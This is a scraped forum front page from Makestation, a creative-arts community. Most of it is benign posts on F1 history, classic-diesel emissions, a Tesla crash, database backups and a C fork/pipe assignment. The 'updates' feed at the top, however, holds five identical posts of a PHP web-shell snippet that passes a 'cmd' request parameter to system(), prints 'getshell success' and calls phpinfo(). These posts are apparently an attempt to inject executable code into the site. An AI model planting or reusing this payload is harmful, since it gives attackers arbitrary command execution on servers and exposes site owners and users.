Welcome, Guest |
Welcome to Makestation! We are a creative arts/indie discussion community — Your center for creative arts discussion, unleashed!
Please note that you must log in to participate in discussions on the forum. If you do not have an account, you can create one here. We hope you enjoy the forum!
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
|
tc4me
February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
|
View all updates
|
Forum Statistics |
» Members: 1,221
» Latest member: Msbssb
» Forum threads: 61,422
» Forum posts: 85,848
Full Statistics
|
|
|
ON THIS DAY IN #F1: 4TH JUNE 1967 |
Posted by: tc4me - June 6th, 2020 at 7:21 PM - Forum: Sports
- Replies (1)
|
 |
On the 4th of June 1967, the Ford Cosworth DFV engine raced its first race. It was the third race of that season. It started on pole position driven by Graham Hill in a Lotus 49 – half a second clear. The race was won by Hill’s team-mate, Jim Clark, who blitzed the field. This engine is behind more race wins (155) world champions (12) and constructors championships (10) than any other engine in the history of Formula 1 . DFV stands for Double Four Valve and is the product of two inline 4 cylinder twin-cam engines. The Four Valve four cylinder was produced for Formula 2, which followed the highly successful Lotus Ford Cortina that was introduced in 1963 until May of 1966. To form the V8, two of these original engines were put together. Who would have ever thought an engine for a Cortina would be the basis of such a legendary F1 engine?
|
|
|
EXHAUST MEASUREMENT TO RDE WITH PE |
Posted by: tc4me - June 5th, 2020 at 3:58 AM - Forum: The Others
- No Replies
|
 |
EXHAUST MEASUREMENT TO RDE WITH PEMS
How dirty is a 1982 diesel?
The Mercedes W123 Club measured the emissions of a 240 D. In traffic. We compare the result with our measurements of modern Euro 6 cars.
The W 123 series is the best-selling by Mercedes. It is considered to be particularly solid, its models are accordingly durable and popular. That is exactly why the Mercedes-Benz W123-Club has existed since 1996 and has been run by the manufacturer as an official brand club since 1998. A longtime club member drives a W 123 (240 D) from 1982.
At that time, there was still no sign of a Euro emissions standard. The club member's Mercedes limousine has 343,000 kilometers on the clock and an oxidation catalytic converter from Oberland Mangold in the exhaust system, which probably made it clean in the 1990s to Euro 1. The cat only oxidizes hydrocarbons (HC) and carbon monoxide (CO), it has no influence on nitrogen oxides (NOX). However, they are a component of emissions, particularly from diesel vehicles. And they are harmful to health, which is why diesel engines have been discredited, especially since the VW exhaust gas scandal, and are threatened by driving bans in many places if they do not meet the Euro 6 emissions standard. This has been in effect since 2014.
State-of-the-art emission measurements on a classic car
The assumption: If diesel, which is already six years old, should be too dirty for the city, then 38-year-old oil burners like the 240 D would have to be a purely environmental catastrophe. An assessment that classic car drivers are opposed to from many sides. The club's 240-D driver works for a car manufacturer, also works professionally with diesel exhaust and does not share this assessment. To substantiate this, he arranged for his oldie to do what he did in the job: measuring emissions. And in accordance with the latest legal requirements, i.e. also in real road traffic (Real Driving Emissions, RDE) with mobile measuring devices (Portable Emission Measurement System, PEMS).
The club initiated an RDE trip at service provider AKKA, and in autumn 2019 the W123 enthusiast steered his 72-hp diesel with a 70-kilogram PEMS from AVL on the trailer hitch at 8 degrees, among other things, through the Remstal. "To achieve 120 km / h on the B29, it took 70 percent pedal travel, on slopes, despite full throttle, I struggled to make the 60 km / h for the RDE overland trip," the driver said afterwards. This certainly had no moderating effect on emissions. But the RDE-compliant route succeeded according to the specifications.
Mercedes 240D_W123_Abgasest
Akka
The RDE round brought the old Mercedes diesel to its limits.
Ancient diesel not dirtier than (many) EU6 diesel
The result of two calibrated trips: The W 123 emitted an average of 808 mg NOX per kilometer. It is only slightly above a 34 year younger, similarly sized, but around twice as strong Mercedes CLA 200 d and in the solid midfield of the measurement results that auto motor und sport has regularly determined together with the experts from Emissions Analytics since the diesel scandal - under comparable conditions: according to the RDE specifications, monitored by a measurement engineer on board, with PEMS, in real road traffic.
|
|
|
Only Tesla Model 3 doesn't dodge |
Posted by: tc4me - June 4th, 2020 at 3:55 AM - Forum: The Others
- Replies (2)
|
 |
Tesla friends like to provide each other with video material about the company and its electric cars on social media, but in a recent case, a declared opponent provided the best pictures of a spectacular Tesla event on a freeway: there was like pictures from a traffic camera and show from other cars, a Tesla Model 3 on the left lane on the road, on which a small truck overturned was visible from a distance. And instead of switching to the free right lane like the other vehicles, the Tesla drove right into the middle.
Only Tesla Model 3 doesn't dodge
According to the blog Electrek, the incident took place in Taiwan on Sunday. Traffic camera images have also been published on YouTube by local media. They show a moderately busy highway in daylight......
|
|
|
Database Backups |
Posted by: campingrhino - June 1st, 2020 at 7:51 PM - Forum: Software
- Replies (5)
|
 |
I'm posting this on here in the hope that someone can help.
I've got a fairly big project with a lot of info that I need to ensure doesn't disappear in the event of a server failure. Currently running a VPS that has all of the application files as well as the database and everything's been running smoothly. We're using an external S3-like service for the hosting of files which has been great and is very cheap to run, and the application itself is all on GitHub so don't have to really worry about losing the files.
However, I'm becoming increasingly more paranoid about the database in case anything happens as it's getting quite large quite quick. Does anyone have any experience using any backup services? I've got a basic rclone of a backup directory at the moment which is doing the job but I don't really trust myself (I'm not the most knowledgeable about command-line things and I'm getting a bit out of my depth).
I've had previous hosting providers that have used JetBackup for cPanel backups and I've had a look today and they offer a Linux standalone version which might be useful for us (it's only around $6/month) but has anyone got any other suggestions?
Thanks!
|
|
|
TV Time |
Posted by: campingrhino - June 1st, 2020 at 1:21 PM - Forum: Media & Entertainment
- Replies (4)
|
 |
Has anyone used this?
TV Time
I find it quite useful for keeping track of the never-ending selection of shows I've started but not finished and it's great for notifying you of when a series you watched years ago has new episodes (when it actually syncs with TVDb that is).
|
|
|
Pipes, Forks, and IPC |
Posted by: Lain - June 1st, 2020 at 1:52 AM - Forum: Technology & Hardware
- Replies (4)
|
 |
So recently, the lady started her Summer semester and has an Operating Systems class going on now.
The professor said they need to use C for the class. The problem is that the computer science faculty doesn't actually TEACH C until like fourth year right before you get your bachelor's, for some reason. Now the professor said that only the first assignment needs to be done in C and the rest can be done in Java.
How you'd do any low-level work with Java is completely beyond me, you can't even pass by reference in the language, let alone fork a process.
But in any case, she knows that C is my favourite language, and as a result, she came running to me when her code wouldn't compile and she needed help getting started with gcc anyway (For Windows, so naturally it would be too f*** for a complete novice to figure out.)
The Assignment and Setup:
The assignment seems really simple. Only a few lines of code. My solution did it in 75 including some whitespace and extra lines for opening curly braces.
In a (very) watered down summary:
Quote:Write a C program that uses fork() to create new processes, and make those processes write data to a pipe, and read that data from the pipe.
Now I didn't read the whole assignment, so I was missing specifics, but her code was really messy (I don't blame her, this was her first C program) and I decided to do a full rewrite.
The first thing I told her after hearing about the assignment and looking at her code is that it would be impossible to do on Windows, since that's what she was trying to do. The main problem lies in the fact that fork() isn't supported on Windows to create new processes. The other problem is that this was asking to use a variety of Linux syscalls that also aren't implemented quite the same way on Windows.
So instead, I ran her through installing Debian under the Windows Subsystem for Linux (WSL) since she has used Debian in the past and was relatively comfortable with it. Then we installed gcc and made sure it was all working correctly. finally, she got WSL setup to be the main command-line in visual Studio Code (the lightweight FOSS text-editor IDE) so she could do all the development in one place.
More Specifics and How I Cheated:
The only familiarity I have with Linux syscalls is with assembly, and using those calls is very different than using them in C. So as a result, there was a pretty big learning curve for me as well
The professor included a main() that would call the desired function so that wouldn't need to be written. It's a messy snippet, but acceptable enough for the task at hand.
I got hold of that main() and started to get to work.
Here's the rough pseudocode that she had so you can get an idea of functionality:
Code: int main() {
functionCallForForking(n);
return 0;
}
void functionCallForForking(int n) {
if(n == 1) {
write(Process 1 Started);
write(Process 1 Ended);
exit();
}
int forks = fork();
if(child) {
write(Process n Started);
functionCallForForking(n-1);
write(Process n Ended);
} else if(parent) {
wait();
exit();
} else {
printf(fork failed);
exit()
}
}
Extremely simplified. It was more like 100 lines.
But you can see the pattern. It forks, if it's the child process, it'll fork again, and if it's the parent, it'll wait for the child process to finish.
It should iterate over n processes to start, given by the command line argument which I omitted for simplicity.
Output:
Code: $ ./a.out 5
Process 5 Started
Process 4 Started
Process 3 Started
Process 2 Started
Process 1 Started
Process 1 Ended
Process 2 Ended
Process 3 Ended
Process 4 Ended
Process 5 Ended
$ _
Now, this needs to use a Pipe structure, which is basically a queue structure, which is to say that the first thing to go into the pipe is the first thing to come out of the pipe. Think of it as a line-up at your grocery store. Whoever gets there first gets their purchase processed first, and they are the first to leave.
The tricky part is that the pipe is defined as a file descriptor.
On Linux, files can only really be accessed by a single process at the same time for writing. If you don't then you get race conditions. More on this later.
But the point is that because we're forking multiple processes that are all writing to the same pipe (or a virtual file in memory, rather,) then we're going to need to make sure that our processes do not interfere with each other during their respective reading and writing.
So here's how I cheated:
I only allowed the root process (Process 5 in the example above) to read from the pipe.
Then I changed when each process writes to the pipe.
|
|
|
|